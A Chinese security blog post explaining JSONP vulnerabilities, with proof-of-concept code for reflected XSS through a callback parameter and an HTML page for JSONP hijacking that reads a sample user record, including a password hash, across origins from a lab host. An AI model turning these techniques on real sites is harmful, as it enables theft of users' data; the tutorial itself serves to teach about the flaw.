Jsonp漏洞研究

前言

前面了解了一下

概念

1.众所周知,Ajax请求资源受同域的限制,不管是静态资源,动态页面,web服务都不行

2.同时我们发现web页面上调用JS文件时则不受跨域的影响(不仅如此,我们还发现凡是拥有‘src’这个属性的标签都拥有跨域的能力,比如<script>、<img>、<iframe>

Ajax的核心是通过XmlHttpRequest获取非本页内容,而JSONP的核心则是动态添加<script>标签来调用服务器提供的js脚本。

容易产生的危害:

  • 反射型xss
  • jsonp劫持

看到如下图所示jsoncallback的传递参数,在返回包中回显即可能存在反射型XSS:

Alt text
构造poc:

1
http://172.16.14.169/bbb.php?jsoncallback=<script>alert(1)</script>

成功进行了弹窗
Alt text
限制点:
当Content-Type为application/json时,script脚本将不会执行
Alt text

POC

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
<meta name="page-view-size" content="640*530" />
<title>index首页</title>
<h1>测试jsonp劫持</h1>
<script type="text/javascript">
function screw(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://172.16.14.169/bbb.php?jsoncallback=screw"></script>
</html>

成功跨域读取到了敏感信息
Alt text

分析:
首先<script src="http://172.16.14.169/bbb.php?jsoncallback=screw"></script> 会将screw(({"username":"admin","iphone":"13888888888","passwd":"21232f297a57a5a743894a0e4a801fc3"}))给跨域引入到js。通过

1
2
3
4
5
<script type="text/javascript">
function screw(data){
alert(JSON.stringify(data));
}
</script>

调用引入的screw方法,将敏感信息进行弹窗

ajax实现jsonp跨域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>jQuery实现JSONP</title>
</head>
<body>
<div id="mydiv">
<button id="btn">点击</button>
</div>
</body>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.1.0.min.js"></script>
<script type="text/javascript">
$(function(){
$("#btn").click(function(){

$.ajax({
async : true,
url : "http://172.16.14.169/ccc.php",
type : "GET",
dataType : "jsonp", // 返回的数据类型,设置为JSONP方式
jsonp : 'jsoncallback', //指定一个查询参数名称来覆盖默认的 jsonp 回调参数名 callback
jsonpCallback: 'screw', //设置回调函数名 此处只和dataapi的实现有关,和前端调用任何函数无关
data : {
q : "javascript", //GET传递的参数
count : 1
},
success: function(response, status, xhr){
console.log('状态为:' + status + ',状态是:' + xhr.statusText);
console.log(response);
alert(JSON.stringify(response));

}
});
});
});
</script>
</html>

aaaa

urldecode

文章作者: Screw
文章链接: http://screwsec.com/2018/12/19/Jsonp%E6%BC%8F%E6%B4%9E%E7%A0%94%E7%A9%B6/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Screw's blog